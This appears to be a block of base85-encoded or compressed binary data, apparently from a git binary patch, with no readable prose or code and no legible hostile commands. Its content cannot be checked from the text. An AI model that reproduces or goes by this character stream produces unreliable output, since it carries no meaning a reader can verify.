zn$vhzqv!8cPipi$F2ASXSWkRp_m4FEA5`w2DmV^J{C!IRU-AaW?eRw9ld9o+2_K>1 z*~B-b;iCy3r{E~JT1bO=nS!JKKPLKo4ZoN0SqhGP_`QJ=1xG$BDIC`DG72xIE7wC_ z->=hfKHKDag%8TTkLt-y8a+e__kc#v<#klSQO}bUKBnQnqwp^jTrIB`6&(3&!k6p8 zy{zHQgukibza#u@4S$~S_Z3_%FYyr$$l-cYf*;3#^HMs-3kgqFaJ9S!C^+hWC(#el z@NW{HrQwxBg;-;U@r zxk{rShY7)5uhHj9*!Z@BqkYD%Eg)?{K+>rxJZc z!`c2#8a|oyxkSNn99$x_F^sDc;9t{lUaz}V!+E}RuZGVc{*P+-G{S$b;HV;(<8L&a z_pkZ8hOZ_&{4)VQh}sRe-{j#^@GuQeB76ej$QJd%eHzeBRp_x^^$653<|;VWtC_@S zzJ^aHe5r;v5WYggYY49*ob@?K`ZO!JIv?v)aMYjAnz&NokNO{he{}m5T(k?4dq~3% z5dIwvf12<+H2mj;-%U8{&u3g5Q*d=Y_8SF9{mX=whVgd|KbPu4=gaIG%?a?$8a|Qwy)PxeJ2m_t zRL?I4I9 zGY#kWQ=dwJ|60R;Oy%`b0{nFir|GeAA_4w)4Y$bt?3pHT)>i zpPv9H*5G{YDaAv&hO2BNyGm_^?64E{BjM?A$_h)fM2KKqba{PCcuA4 z^%1KXdjCrNcadI<|D5nQ6db)3g!7@3On)cg1L?g9#>WyaHj@QE;>ah9@Y^+dTE;Ve ztKqAOejYvdX8r^lo0aD;m@k(5Ed^KQ25G&M`LNtV4QILE(r}i$N4Z~6<=&&9Qi#B=lA`1e=z35^Z8a32##@H_kKvjS|-lI0rC-!B}} za51?CdHkIn^ErZ(N_08xTXCmBxJKLLbp!k0+>Pp-Xx$b#RYPn$pR*p$*~n>Y!2puy z<-jh1Y7n*#6lrSf)^{|(p%(QmkW%=o*ROAbZO_$c*vma8T-{dP+yJN6Q3?(z4B;Gv zI*tbMMh+Zpu(1wy=+9|}jpcJ-J95}q9`;SAFdV&?1G@~i*0n{qlBBu~uwy!I@&6yY z5OBaE<9f;ri^#*@7ctKDmc!T_aEK{lfUZ58rRO*$z-2^~L)BI6(S#Id5>DMVLc;B) z_e(g;SE^nd6#Ew=&wn?49;8K{Q*DmY!}3RJ0y)UnA|Q85f2+6&a=xo#_MCrCUrFgX zp09(+Za2}m!8oVm@KW%&*}wI2N%7(=c}4r<6rbhuylEX^I!}O%2d3b!VU*DPL5AXK z+aba&{ioApit#j`N|e4CBHZ*3KPpokC+4U>_My7|*w4Dj&s;9k=gN!ytJ7|W7&rM@ zM`P2Yd>ra@`PTrZ^Td>uB!AuK*za2j(*J-K0{M(mykB1<_E&Vl(GQ}iLNLNnB*T*QmMrJ%r>2;jbG5$Pw zP(>UMRCk2Zhg1;!oPUOKzJ)yX^v5av+ggO4{sg3Tv;QHo|Jx)8?T>RBPS5SnO*STZ zx(R=wU!?>{kA0M$J{d5*?*qt4@4#PJZ_)JE?T2fpZs~ilV8DGSFZQpVUTo3Y)Y6bs zlhZOK6bj|SKRfA{zccdl1)P_gpI;z+>-y{{EuZf(9ge1Pc3k~N!98Pa@kWvG78yff z1bH{@jDLo^eTam+o(XroBR262cNd&QsJ=(U?>QCT>w6YGo#!n=<|XQoXk$*f45P@cIiZ9-*cYubeUnLB|z zZNkl&J>q(M<{@$YLFQfJ`cUQ(xYmZdz2maL69#TW@{WY}?#?_eg0DT{%}l3=KzMIS zW(Y~rpD4-n<^p_5%zMM#kg7I3P4egngfBUYO8(>o{3s5yj&%=eg)kyb#T|+d9Ive4 z-mKv`9*6>;3m)$(_`#maC%Y@Z{QOC@`5~6^6^IcPPI^_pm+-G6iQ-Q;{PI(&WVs`$ zw`NE-kYLwsBzcjcZ-oDEaFLT?@oS1-`Gtce{9f_v6Tfn2sU(>JUw-;OA#rK|D@xyi z@DscZ!a?E7Lo1{PCc`BSfpq-wn__B{h7S-^1DIbA{2Tsf24j}t&_5CKh%6JWA5L!r z*U#(2W0U*=5fZ7AZWxLilt}-L!_l7_K+gR!!Ha>s0KOL}ZcPHyk|Gd6ff>nrAP|r- zGesa>1`0%Ahz!gUfshQ$7J)1oI7hmZU9%z%ChB8o;e2 zI%Qy4+5!k%E(5FjZUwR)8Mt8Za)`M>238MU1A#*_utunJs|>77#tL?q3`F|O1O|s? zV4cwIhzzU`)BuB{vS5;vhT@6!;>DN1q@ZX~sev5*<#0A z1zthh&a@d~Yel0^S8xYFsiLsc(K`r>zt0r{mi}(XpE4{JYl0WI&UpZc2ODYM<1{J5 zhan_J19R{YY#7N9mTo9s%+dDL{650X{rI#<+|Zh%$720wHyqD?GDpwAiqCGu$m&+Z z9NXt00M@=k+wBS2LSQn=T;|zq7$GL!igjJe9cs&^TW7=E-)+ksnuWUBZZ!H#-o(o= zSctiQ9&nVZ_REV`wZCYn%w{-h+JA&-$Apc+^fAsH;2GPbfMa>-7pcZpDlwUyZWn-~ z%t|v4vTMC-R*o{4!(|ynk3$mA4igK=!p!6S2mmASdvNLBIXncBQZBu&Wz(h(4w zibN;~y2$ZEF)HW-LC`OrDK6vw^P_$6dkn86P<%anbCZ56f&jr&B2Q0v*BWwh= zlaavLi2&q`u3aYB9&!TwjEl`fSw<)&Ut|Dwxn%)p`A~-q{XBKG%!rAs_}) zvX@(YVx1jMqKg#CE7?1eVohTidsU9^8F4t`G!`8sXD_oc4Sq&w_e!YaGFQ_;Ly?Tc zO9lTaN9Z@eL7yocXBEndy^fB(&NWm};W(+sepQ_!;4&Hh#T>=HU664fI3zJX){uF# z4Y&kih#~L@_LjyB_%+RsgMHyw%;GUD&#g74bhNikX>6`(>Zq-o0;exVX5?qXvRB8J zY*@{jvc3_{>l7q#!sV2Pnwof$S)3YA!X-w%;5r45#3kOGN*;SC?optA;JJp4EmLzg zpoI#>L7v%-&1Yj4AqGwmg&64j?faSySbh*wTURe*ganx!7VkQ0qTGMV8s)q}tL)4|_(Y_s3`n_))btYXvJw*$^ghC|N{IP_T@VO&^MD30uo zIW_!-9h4f5KF)w+ieD6G8Jivc&3@B!et$f{c!0n2EPr5?zh9@n0T1!^jD!Ni!xZs| zVEgc0u#Yi+<%-fs`O*cE(#56A7sMQc3)!#kXo|uKCJk_WZF7xtAS`mS52chxdEaojQt5i-rmdAUxvR$1bTfRKzTw^<;xV&^ZGN5v6u#>{E z!Rm>wSTN$ySNoJ;aq_AxY~`3|`#fmpIBHwglBJbp^GdaIi-9klb8FL;Et$VmKhHD5 z2am>`euJ8c62}@t2V>jq6KW!!iXD3#b6Z`5tdrG{&N1bA#mkqJErE(1fr+L(SJpXa zR6Bzd4!eO9Q&F^fglSXVraCy}7EnGj+Rjr+>D-kIT+UgBGpykNYB(*ItFw}Eao{Qz zr8w*rj$>}CZ)({bfnEsyL38^AaZnb{gGRZI!fb+wR0?|>AmOuD#WBgY<>&}z=zMD& zHDb@_w%K8c!_l)M4Cfa)O&+;92RbX=nti6Xs6SYKpgbNKE6#GpWOQ=!|2t>2;`$0b zjuMS;5Z3(qb~y-&qNEs6&=^33&4+f5rW`EU4m;Z{JZgSCKokE+_;+H_%Rw9V!Q14 zCd!Q%dJgSiZqP-nalv&W{Nw5f?}0rX{OEAXh%}5pk03Z5e@DV%Vmk!Q-YWS<9|Ial18-zct;e3|X3mX0=>G`sT zFDCpo4eucQgoc-q{%>hGzXO#;dT}{=h`vC>t110_4IfT&c`sMy!{16)YVx}V*lH8cC z@%cXCb2S`SYtb#$@FgUd&pKoN{4QssMxQC!7@IWwdCEWAkNH@{zel5=N8zt)IG=_0 zT@Bwra_`sh*%an?@>p&X<@Xtlp7%W9{)Xv!Z}vAd`VjH?NW+g4?xQR7xrXR6H2hq$ z!zc~EkZ>+%=EL7qEz#)bPIet^ai^=}HHz@O; zOMITx=-(zjT#qowV>hzmGufCAkC%KV8`7gGi{KyKDUH9q*Eh*WKKM^TBdFoX10C-P z&h(tGF&h0GNp8#}ob~w);fpk!m!(!Id~p0_zUwsl5b@z}blDCQsQ&Cy_+T85qkP61 z>wgjPxl*A=xw(X2tH~wU_^w9J_T)W%nEzo)@PI;(aX%oO-{occ4+;N;M*nxhd5?0Y z=e>K6YxMKb;NVUY&i2Q=p?gQ6=emRVX9|uoxIdAPLuDO7{5s;FLbn{O&tD1Wz0n!x zet(EY&wIm<(C}GQj{L4X>(BQ=B?>*}sTKawt<>-fC_mL2ewg&!sNtWI+>12)YlQP2 zf0!?n%Xp_o&+l+vmH=1hz3M$2-z#u_F;D19Nnag@=NrN?9+E+Wuc$VuE@JX2o^hrN zYj_cb|BZJl@l8wdS|z;hm;*Qc)lD()M!LO9DPOGozxyppX|NDnuq?QICF=CU+|M!2 z<;~$l?^3qX1bhn-4uUJn;ktwOVCc?-f5fS~M@TqasCRQZJQ;|P=f9hN2BdY9&+}{6 zmvzy@c@Tk3wulMndV=!L`NaHV)8h1uF9J-@6S62G@M>z0h@sPI=L6;@Uq0T4y}PmD zgG2c^9_#XPUa#{6$oM5y2tHc{F?2d@oePF^|0F?tb_!zX^z*+VPbTmi# zMaa2b;6!eG*Rk`T{f;Gjfi`U?bmy&;Y?~Ve*fu)QR#;wm$;zMt|5);mP<0&PK zY4`5PRT7JLI@9hObhr&fPk1_QPbR$enRef~=Hbl*WC&os=ff9I2GBdI$Pjioc|L^X zJE0#wJNlhCl}q5QGc@~8!h5H~#Sk}gc}IjT#7})s@p;AP7Ow)NCaic zRls|u72}Mz;WM(5?()pZ#23mX6yEzKcokL_H*54Fq%ZGoPcMELS5O!4`5>BF-t{2~ z-Y_BDJ#UD3nKg{%e=QJ)yPgoS3-=agm61widoRumm32KPA^;S`cn7|C&tKDa-wvMc z_Ef4_^6q(%nb)AMG0IuG16T+$sM2AGCj$$ptm|>1+%qEE@J4QV*Q?>KN5Lv86DhzEr4hj1}#Jb$TQOIfr66 z8T||!f&q=cH1Dsv=BT)kcybQ47ck|J#aO;)fyC}bse68!w&ysoD(_yDUJUOx;{%A| z$Kh>e$iYw3cK;Eg#Bw&s%{x*KZ6ckzrtlMw0?SjF#;sYb}sh43qz}T#Ma{EXTlV_ zfeo~vM<8(OraqHP34nWKp^E6 zcRhac0)@YLi}mCzCtk{X;Zx+u<=kD+c`741weyrGnk_OQI-c-eF(2l3(e>lJBWfjQ^tM@`Z#>KAA$v8c>g{CBnEoYu{_a}B@m#@ z#ZUoGQ{EUzX7I@S4`~_f8y6cq^YWARL^!T15(Tl^K7iSivrClocL06mGU6I=P zPqU+Wf#TQL)t97SuEbRAdv3zt&p zE;WiDg4%ToI<_A``v%*T3!U?x&HJFFOP2G=?LeS*W^Z(f}bC#PKqQ`l}RD z2(b)A3R~dGsgSgE&j)FHK73i07~z_yNgL!9hM`TC zV)VI+y%lEX5l^`0+3*eFuGP;~K=~Z4fF!bRpbmM@iWW}B#L*49cj$t|dDqh3csExr z2STB-K(#R-ytgT{f^rE_f-a6kjL9O(sjwn=7%R}pe8_(u^yV=`_hX_u{|$NsQPXLl z6gtzub@CaAwC77Wzr(p)=bKqdOA;TK2vJbqvc$w8nv5kZ6@@ydd`7Yq#`P?ihW(_h z3#M*j=EpYYS`WRLo!QCISfEu%PS~~mNqDs^@_Y^T>t0XGB=#NOVErFJWnj+WSVWM#u}@rh zXzr?o4~F*E!r%pJ4`FN4tQu?yDD*O7mTcP<`W1$t+KZH;e<=civi?Fvjkk8aGxx=I zi1vk<{iosX9kRO%cW)aab?e@i%bpN>s6+4GmL-v{x7NrBH|JNDmnZ^c`$!m+!P%oA zm(#T9#3zcpxRepz^VjGZFpOXRF7_UBFoL-f)m!ZT`r*{Ryz4j?gB<^$#9)dcxV`Zj z^hZJ-&X++L+?~9O6}!Bq*&9<)@XINvngO&-@duB=Jf{wdrF`!=1SH?G?r3IuS?AFq zVVI6iEQY!efMPzmc+cd_=pRJI5;8%lj^|`I^+vhq$GY1KFiBbrP4wk(cYBr#el!eI z6u4P=1#_AH9!x^IU_kmTnj41BhT2F>YfIY$FL{Cmk7n6jHB`tV1Ni5<@IMT*iXjjQ z?ICUVA;=x(TMR^^dU1UhoyONOy1P9T170pbm`0WFy%6+#i|X&+PPBgng#=2b^F2Xv z=O-|cD#4x~^OW~foX|q976KvAoSXrFmPTo%; zX?fSgoIv43%9v7Hw`q#-;m_<)eRX3~U2Q1Z5`qui zn?vK;XTyIVV_f^#aqS|-?2x#(7C zL~NU2H_gayF|xCbag9bqyva9j>EgxnOX%ffT)&2wm79g4oS?0)X4A&@21o_3>$Nww zG#l9+M)ntt?2C-H%|?4iW3AELA})|c@ZxXXmbx17ic59-R`L2Q{8UF9;T!(u7J030 zY!gw{P52IAOLRkBn*sL1^wk~F7I;5WsBF}?H^Zm@bHFYetG9?3Bj=3k0Kx0=&18g$ zz=n`ZJG_oN$9~%g_7d3G*pAA#8#OJ>xHrNaNM?KCtt8vu*3uHS1GYp1O08{gnfXy0f>O!!cLZ}`VWojpfqHSA4!#eEgh}WFQssPomz{9R#P3V3vI01 z*wVI@xH8>%6bPj-KGfdP+KR8MQqDCxhaXlIp(a;565Ie;!qRAKX#!F0?bQu+p_Y1h z`}M-+md(u}tOB8Ne3%<6t6gDD0w4RO(XwhxEDn2aj&Z&+4Nh9!9OF8@*Nqr3#&!BY z0(!=EdeLXPq+wjAw*~8INFkkmC(-G+p8WH|dU}2itK*-SPo2Iffqv>5tEwAx_NOqc z^I@FJk<Az+uij@9q z75|qNny(CVXs#dbq`hHiG3Y7N-Z&inebJzJpBqFflj05ybLhS|((&Ij!toy+?f9P= zY|Bf2W-xLRCQt9vCx9>S36u9pO%?akGLSy-We^(Rf}-4tR6Qv<0epo`5T@kz4Fe$s zruS{aR5E4`Jk)^7AOmLyaam=E3>5XnS2;(>Kylx75D3Y@ykyL8rVNw{)>$&Jux}5L z$z!Whmh?LcfdUy*k^VFUie%t|ftazg8N2L4; zuQD()6<^XsbBjjl3(SBNB2m~Z3KRn<=*(iJS(tN0z$;_si9kRGN<<)421-Rkk>y~{ z7Xeug<^mB2NwTmAWXV982uN$23q?R$+gy}_RjCLX-pxQNRD3a*7kCP8!bQ^Hv?MeT z1!g3pL8Vr~nIa$+2^NTeR3tb{1f(Lt*&-kn37#baQjuVx2uMYOb3~v>3M~?WunZK7 zK!ps<6@e-lC>iu;&~u#(%pdSq2yBpnu+X|y2FgT0zOEQtn1U5=i;P*^A9uglDFaK= zra@qr3@i=23*0(oU|E{whkY4jU{&A!K-MDz7Yq(U%ndTIdMIuJa7YH$2z73ifwjq4 zIqs5yNFS^mhh<=$(Cvr}tPhL=21jMDkd`!b0aO$*6AMlXiihI9z-yqDFMtt!v8P16 zMBPU8w-85U$$*o00C)xM6sFCPbv(T*coslDQP`r^r(You>F;*@{f3Da(6%P;1_Rb!q|bed(aSn z1QPaor09cB+`$FJHc)sK)4_tlrWtq|7!Ae9!ImjoybO8Gv`fGY0U7d}8AzBeLrJFS z4u;53vP>6}p*}J$ONP=+k*{1RlorUF5SuY2=PH0fD58-;nq%62Cj~l>{g;c?rl1ZU6x;BriqsvXhF!2b$+_xPwK4kQbgBo^2MUhkIT~?C#wg61ndk9g8L{K{q|N=?p>c%}29nV=91qvg8(R=7!V!wy zm^S!A+??hSsxUYfJ!ZZ~3?D6QG9MZd&6ytmFM-3P_mr4Pe8w;mPsX2Y6JL`eXN$+|+$P1Nq3qA5 zL_Q%e2tsC@!UF~|iSaCVqKl0%p%~*L`hpIlWCU3$pv%_L-H?YnC` zTiuo)P*gE|bSiLD_JJkcbyiJON&jZmoU26=(X1wHF{v&y^ghHZXFQEDZaTVwWMXzc848;Yk?fSNsK;AFo`YTZ&E-^R(+}Xo)>(h zd+$i3Rh;=9)3Xg3^N|r4H|bf0Y|`UOz?Sk)DMgGem7c&($cG78S}wd*s_<35eOGS# zGK`cHS1OEz3g&~R2an{P#OHJf;q?lcEzg%JYaWb%#_UN7g>5QJumn>*WLin^Zs(-1 zLN$p`3=u>z48%kOVeCuLnGc)R>eDi?wHhR}s`TK5aduqxkQoe0!kLelp8JvM=Vw(i zT}h_h4#{0C_n2wDd0KYH#5a}vi%gowOyA-R&>>l^M4u{TcE(1Nxv_~rPmS#)`BZEt z9IKTm2J=bNyB`JotC_@7wL6Q+AlnYif`HxJaU{m0WU&isFTe)0O^KZkq;FCzSj|p_ zxF2TakjlHS2O78?vjSp9%NXCq#x`S&BNwA=x^)m(F6pRLaFAMt(=l7oCN%-}9GfYD zI%h-tYMYUhc&nNiMgPDdvbDg(KTp8)brTZkbH$;lW}~zYv??PS*snG{17Ev9&-O+JQKg2Ez~x zxs6u|hYC9xPSfl*kZ7C|s|0wmsJOw{LGzDkavot?&}C1qWD&`TkZUtbHi4>L?ZzK)gO3Xgjs5EL=u#$u)%&GXwf8D@d>7v|SBLuiQ^ zK$&vTUTUUgKp?-`Fe^;4W>N^84ReJY%t4UQ9%+R3$wpsPWh{qB(InMl`T-UWci}{5 z?yrR#=8*7u%uGziZZwMUm|}*-n4E-oV<#bFM8;sdD9ji;G4B`$H}NxCkx#(v_X-HN z_T8{!;#(t_2;`&JOf{3!fpij|FoocxRHX}>WGDf7YFX#1T6mo zgy#yvIGttp2O|O~6w`cUg^EHdQNjGi9L&A>8#z0F5%9CIlz%fEtH3$<%7gh*I<7mN z)7S#F`Qi5aWMf#8TKLLKDFD@0LPssGZy3h;2 zu~?Ab7c;-#E~*hIw12^HIFC|NocSxflA8znBpK#?1!@JKcVXRDz=~04b~5e#BcEpg zt|i#kAB?#pDn&W$WF7vo_1Q3}CTo?5NtH@qGLmP1K|$v8fqzdz!UY`|W0xj&Q*Qwr z-@7>l^8pm3lEi{0hesM>C4(Bz^KEgfJw@WUp{eu9QW_)x{yw;091G2+47r&%_cc3# z_-yF6Zq7n$EtGIBqUXSk)-9sY3eORXH{TI`91WPQX@lANA z6@|FOEqE2g#vK%`4nkNC1*6)~rey}nY z$P)O6Jz!0=xP@oz2^xRqAjO~gtl!3Skr2{i|0~k^wwuQ=ElzDkS^%B`fc?!#FDa`e zer(o~zqd%{0w=X+!!|?)0H_K0o6(PyA{F>i z)>29~Mkd3%H<@gVqn39Jkybzg!}FND6-N0M-i(Ry8BsK)9XMb?Xc_z))&$X<1wAeW z3Gvp13?wK2D2!ZcEa!8`&HXrqozwu62X>Qos)4;qU^ z$4X!#_PjC9+-N3!25UT%_9!u;i>d4Z#M*cK;z~T%*4p><#g(@T&-Zp@|3D$Gd_}1FGN6%gqbgL3EX}=oaa}Px_d)SDX{SJq&=3(FhtxOJMo_6r#7RwLb*e z`#0~D8c zF;$rX;k?b}Q4C~%7d&9@qt%(k5H}o(J+AW>cXH}lB-WhSI;EqFG7qx_pAShk$s|~| z@`f3wR?D&FI>Rvb_I9n0Q~hqqfhTXGq9h>48QiNxz60`Pj~BK|m=5I^Y<58rDB?TCTpe%n8y zpU?59CprEUC$Z;7Gu4i;LaB-{#k{Mrfa0~4?*AQ6x)b=O5*U7onP$ff8}4z` z9ePEo9nt?5Pr9wj8RPmo5!H&0L$7i4^$$~0PxB~&xoY47kHYIcMaZaHN8pH{W0YY_ zJ$-FWhIcsvlU{Kw8hXUZZF-WWh#2H?QjEUd(Q4RUB_h-mvuFLv!Tn6JXT81?yru61 z@0FX#`*@RizuZke$=Sj_;A|}4yZ!2&z2(KO^}IcPkhjNAQ@4|s+svmsY2eiW-jBXN z^eRRMMfv2m`vWMk2+G9p6vx>_9(T7NB(~1?!((va@xild+YXS<%zzs)vV&lQX@;S8 z&{=s+dn0}#9ic$5_dli{Dfq&ZlQYz;;LiA?>|Ny{_4uJ>88Lg~hiGegA(eKehmCQB z_9`}pw#8Smv1-OqRAwJLVLubr+EdJxgHgFN#f+ZEz5{5B7Hc5=E87e6nXl9JXQwhm8cR3E46dM zXCPqS=BL2P2(or8z(RzZPo-dxqD<9Cmc&9;4Y+r-iy8EatJ&o-`hoEm$CAfna7k>O zbM(SeNN7~pu~0FZgHF|0W=DVq93jtaSe_#?Xdgnc0&6eKHbspErYqymZ8$du0#Sx> zo&y<1l@q|D9$@E{8E_f}51t9GaE5{&V;c6z!%^ z8B8ON5bC{j&a+EK;;xpFeCnW%nufUJQ(@Cstp?HGJF5S#fCSunqg!v2dh~pXtgg{f z(};uIQgSk{0qk6y%Xck z(?uVLajdU*)z-DX#}!sAXZMh6wp`l#f3@@JwUv5J=$<(@^uOGjp@zNc_Igd|qF}Gn z_L|VmGKj%hIeL_3;9aohdP`>^%Y@FYnY%QA|A@?`AB^u?V4eDNTrYKSZJ2TWzdN&D zlJ#crJ6&d63=BnlWn2-vg8xxsN2}A+35Q7YxrjE6h(_c-?DvK$!2s-HZI>C13zdsZ z7pQj$mtAfisR;L#{XVIy@+JkwK&)6w5H(#=|mWYnZ==P2lW`2ZYmL>o)p9X z_TU&_zx{@IiOWSpT`=6-G89M65zh5rqqdB|&R#HenLRoZ+2=A&ag=j)?GK%3>GK=! z=#U7~i*w`UVg?r|KGUa@6HlF> z{>SAuzL+qj%N#P!;_fNq=CQr1j*gvNTWy?doGQhiqv&eJefA@E7UG_mW8<%`=5U=- zyUitgNfS+|jP_oFejLxn_LA6L3)d^`!qHp?mVv=U&FT^fxXuG~^$Dp0W#}3%g#Y?KPo` z+}>q1uETS=CqOOSI!l*Z*En{)PTOlj7X^EhRits9vPJaNF85cikV`vs;nh2;|6W2p zH?d(?3%GPxE?T=#{hJULgzj8AMAt zb7$Ntr|S@9->I`8ST`w%8=K8IvfeRsnYdecS~@-trC*k-Ufr0x-ST*hsd1`$jA?P0 zi_t8j)r_M9&=Uu`BzD)OH#cslTb78g%pPO5i#n>M(C;!!iD#8~*)VR_qw|+CTqS&b_#6u?gm*G6V+(Y# zrulKOFAd8$vodpXrZhFKmzx1MHrF(D)YeVeQZOSjBR{*TvAJVQc0+T=l=iLdpF^>} zG1_hbFJd97f$@}vnwofivtsEI%0;eIaKG1B@rFUi5Md7B4De{q1{^->Ynr1?Q^5}t znf7RHV~g!?Yiw?az)s20#`?y(T1nB`(!|8Lb8Q5^3xf!_^%wGNF0f57_~BjI_Gnv2 zO*Der8Mn9A)c^=@(volxh&W*Ip&t>#2ZRolNIJi)yi_K0d_qr3x3xV2dkQx-wxc4z zvZEQis4XyUsEdMvk(!n^lmd~cKKL-(sC`pQ1B5_(xl?omGa(5jK>o%C*tr<|z)_k| zZ~!S#R1ya5!B`4Oq$AphNx;;F>pL2oqS=kjXJdT>U7K4Z;pXZ_Dg#>@mxm-UV5jh8 zfTXkTH%-6k^Y|BK41mvXuk6VQM17XuN`BDS*Q$Yt0RwzN)0gaz`X>61`9=Wkq+PzC ze<36>fiRGf;q!yf>tEy>wIv`a({j&$QsHmJo7od%@QS z;!G>J(ATHbXBLM-c(wem3f%I)Pgm=rcR(X61^IL=gaj!Ifzs-zI$&Mo$u&WW)%1># zV_M^)RiPY+Z0P~IepR5H6$u5VK;V~V)Ncm*0}|-S5N-gZ#2laWdLVu}0$C4270}~%KGZIDvYxJqDgvZ95>8JMJk20F*wk z?HHRz>iDY6Xcd&zJ|wXo6$ZgUKxgEHwOG6IBptQ)sM4MQK89WQ>^ zqQ~pG9SKFyIstM5GKQdlR2Zuq6wjC*QRRH7$Rb~V0HGd^mi5r`UkjBLkia#*Ab}eU9V8SDfdq(#1e1WEG{F`S1uH5lcHOnG>bh7~vFlpa-d$ZQc5JI3 z8^3dA&gW!lfT*-&S=JSo_>Lt@*| z6zU15C$=TCl1al!p~-89bAi4Kj99mBvr(SS{rK;65;`?0d=nSBJDE5sbPV~SY3p?>zm^P0 zJD2cs;#|VAvGFCel%1AJ_!YGp`@zO&bC-Snb%Gb#86<5<-zT=BUX_@XL!wtw*~9lH zCR8SErO@k%33J)PHJ8({(q=|ts48g&SB}^*)Sl^yq3KEC4-N4`p9Hv_LpxTNCA~~y z?Lt4VnvWixmrkRW?JeO6R3R^?>~gBzI?9nfA|6HxDMA%jQZPv?*~w8F}TV#8!5fR*zHK zj80PU3DVx-bYq>w5tMigSs=7Kz+SOw^#~rAP0X5Qk~qc;>e1mN*^sBK4i50hlrv4P zp|5F27Nv1_b7*|H!#&avq2)B5CfyTj8&Z46>P?BEbR&_&s$Qaf+a#Ts7@C(fWAkR& zaW=OJPYI!*v_o5_yp)2S-RWTq9k$~gWzE7{kQLtBG1Sdv*NFG!wtyx zYn^nQiF3)lq|KCZxQ?4*88u_k%M{&AMO(rpBTu-FCWmF@fTV{C*qUa;q$`s`-5w`B zG!q*`dihDAe+M=tdGB*p;^rx{6Wg#kDm$hpB#~I?>Q!DD7dj>M7P%PZP1p-R4J9 zP;DCLqe~4EkDMicCy~pVu`{%gC6_^0DCwT?0;*pq-MGy1GVTZ@5qf%68HGc)Q@J@3 z&M^^kXo}q3C@Eyc*T`;(ok9%?V1!WO!SIL!#C+{I|`hePNP@}g=lTXnWoV2 z7+R9pzlv8{yuu1nHzO_Fi8|9ju%ImQ@abhF8hVI2TsSG^Zc-Ae=OFp$*u>6UsItUP z{D+6XnMlaA2_2CzO9~KOVuU)ET|os+58p(qC#uH$Ml-(9>aG>;ncCZ&IF$d~MJX3r37WFoa97WtAzkT;#I`hSk8Mos9=d%s6}Ri% z?^ANOD51UKqY;i#p<0pxn$JT z!l@`Uo{G3BEsmrONE8Y-4nl~>hP+QWdrQN=UL z3rkBUOfR1>HBvm8t5aP`Wh^f@OaAKGa{5dRf4_Xngi%M8PcEDuD5qn>@`h@vbweW; zbP?Aqn$P$NQ%gn_o19LpuWqa=pIbp6#G!+ja(rDSK!+^z?1ys7&7lY%fR)pyOXisa zFj85;**BhKjY3~bq1Ov>^-al*Ixh5-X(Ol3m{?psVd7M-aB1Pp8O9pspvdaQCv3{+ zEv%@nwTDZ_@O;$5FY73ux1^q|TC-$PZGdZ4OGh@Q)gpzHi;Dv8w`$7E>9Z@wE{iJ~ z7s|mFf0l<^vwVrkFi@l(nD7Sz&bh{ziC+`jg^Ib0_)E+3e()#+gNq`KNFYb?sM zHu_~AmO8PzvZ}nYqOpP-o<9a;ykbi6q=|*2jw+r?2d;5>%&)JiqJB{hSE=XE{ZLJ( zjUQPuzNl~{Wr-v3a{4q5ISM6CE-tmcOW~u6CyyUDVH%a4YPP(AU9r4@jYp+kT2Zs4 zin;khk~!`Tn5uD4SXfyvWt%#=xNuy6K3qd4WAzg!OerZV993%l-+Y#bI@!FcYU&pB zMj);w`zK{UPRmskZH`}Y(0;jwvNs3AybFEjh?<<6h#i+k0CJKg_4BIC2?AqNPLt2u z;PXYKfIrDYxv{OQYPc`ZH;!x@H}dO;xIpz)6_w?S8_5CWn@C)dqLRr|W{e-jg*TsU zqT}~@^rBB|5IX?zIR+{QbtrlklpUN3YubW3BRflr_xsQ74mOmDiFZ4!FpDEUwo z8G>s|z7i;}n?Ijz$e*wxby44*UO0Jt$@nn=aukxR9L%mkV+gC}@-aI(jQ25SG5UERjk!)mWu+NIs>neW(+JGN z!(`iWjOEOj0Y@X{T!Zq8n(B%M)5WRfXeW9}sx>~HzM*lH%w|hqO*Ca%NfGVI-GloX zjUw~NAT^Y)HHsNl_{Z9fSQ6vKM7TPf( zIxvv+CKp@RCqJxWN93<2EnRG?ZM`pAUi$u4W!;jwHPjurlbUfiI>cKk9;N2h)KM3c ziNYD3ipLdC9z!itPwr7yZyW{V`gO%Yr;~;Q4;h*@a6#6<34^l+&abT-$mf#gH4Zd3rjtqpCzgz&U-Nmeg)}tQEom6I zr1nJeh=Gk2RPY8$G)5Un6G3CuyvDkER>H$166V!ZG%Q3ibu~(uH{Xf#Nk~5LXof|4 zl)~_A%sL~0= zWyPcHnQy9VL;bt}57{ib*ow%M%$f2l?JBFdKP`8igQf?zm#L6hjl}#!hUvzo<+Tme z#84fmtvZq4MeP)hrWMK`CZ;^hP`%XjYK)Gtm5N=+a;>c~$&+XmS-E8KU^~v5O7RHA z(US6`iziPhnJ}I*sH|9CQ@vmzuQ==3JT$tp6Ou3T{7C{dLXypGw;5~)IX)F0n?HF# zB&CI;rk0QoQivwLlF4?dVJ;xhq{jV=-D0vCd5tfW&!=xU*49xD^B2+39a{mBscEDq zUdQuNfL)RcN3)4oG|ukKA)9A-`O+abq_r|Nxh(4)6YxYrIrDhK zo@koGEY|G6LW2np3}lb!fHAtXkfvxevB?pInS1S&K+VjpOvdDoHJTZo-tRYR)Ztm# z)8^75bBP`Q2j(5R#6nMM{lO_ke zWocg5cCEtvU6)gdcat>pM#KpzX&Zw_rDUEJDon{bJ)tNidtKs~l-%G+ZBnv{6sBa3 zOi3G=5+2(&LZs*+LXQ%Air~{J;R$Uki54q5wk>Il+k4DIk3RME=#<=biKi!=71|gK z%%L(|Bjqq}UZ-5n364z3JUcWpC2M2C$dv4}5(`suPfsdL8Mdy~n3Of4U{lJOp|L5O zLX%Ur(BEyLi3CG+UYnF*MJc(3DcQ6mDX_&YqPHcKl79QOFR~FEW?y-14~53JtgevM z1^P&N<87LA{sLtdq;rN75E?n$b6!^_8Y%olNB^GUXXV>-ZN6tmS@-nc3Wfv@(olp5meUoC8*sCUOFhD>jWXB-RhrNkDt5MNDH8@Cgk zZ-`R7EtElsFX5?ee~Nqd8#*RsqU?Gg#aPc8iQ}sREJQcm8Cmy-ZOihTq)5h3iShFg zK}Q~Y@_QvY-#MZ`7ag8>$SDs+qgyEYg7YXcflxr*@*~M1`x&BmVTy(LJ@hSXA^UNo zW+|aSMl;4BB%ck^i6Q&V9*s$!UUJ&P77EbYLe+MLi8pWevkY(E?wduP`<%O7Xd+30 zoi3#Cr6!&jeY-o7w+VNe!;ou*=bOK=pFayfG=@y*FXlHXkQsADL;hxd6PsD$UXef3 